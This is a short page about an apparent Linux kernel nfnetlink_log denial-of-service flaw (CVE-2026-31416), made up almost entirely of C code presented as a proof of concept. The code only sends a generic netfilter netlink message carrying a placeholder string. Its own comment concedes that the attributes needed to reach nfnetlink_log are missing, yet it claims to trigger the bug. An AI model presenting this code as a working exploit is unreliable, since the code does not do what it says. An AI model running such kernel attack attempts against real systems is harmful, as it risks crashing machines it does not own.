CVE-2026-31416: Linux内核nfnetlink_log拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // PoC for CVE-2026-31416 // This code attempts to interact with nfnetlink_log to trigger the size calculation issue. // Requires root or appropriate capabilities to interact with Netfilter. int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create a Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); // Self PID if (bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)) < 0) { perror("Bind failed"); close(sock_fd); return -1; } memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel (0) dest_addr.nl_groups = 0; // Unicast // Allocate Netlink message buffer int payload_size = 1024; nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(payload_size)); if (!nlh) { perror("Malloc failed"); close(sock_fd); return -1; } memset(nlh, 0, NLMSG_SPACE(payload_size)); nlh->nlmsg_len = NLMSG_SPACE(payload_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // In a real scenario, specific attributes would be set here to target nfnetlink_log strcpy(NLMSG_DATA(nlh), "CVE-2026-31416 Trigger Payload"); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending Netlink message to trigger CVE-2026-31416...\n"); sendmsg(sock_fd, &msg, 0); printf("Message sent. Check kernel logs for WARN splat.\n"); free(nlh); close(sock_fd); return 0; }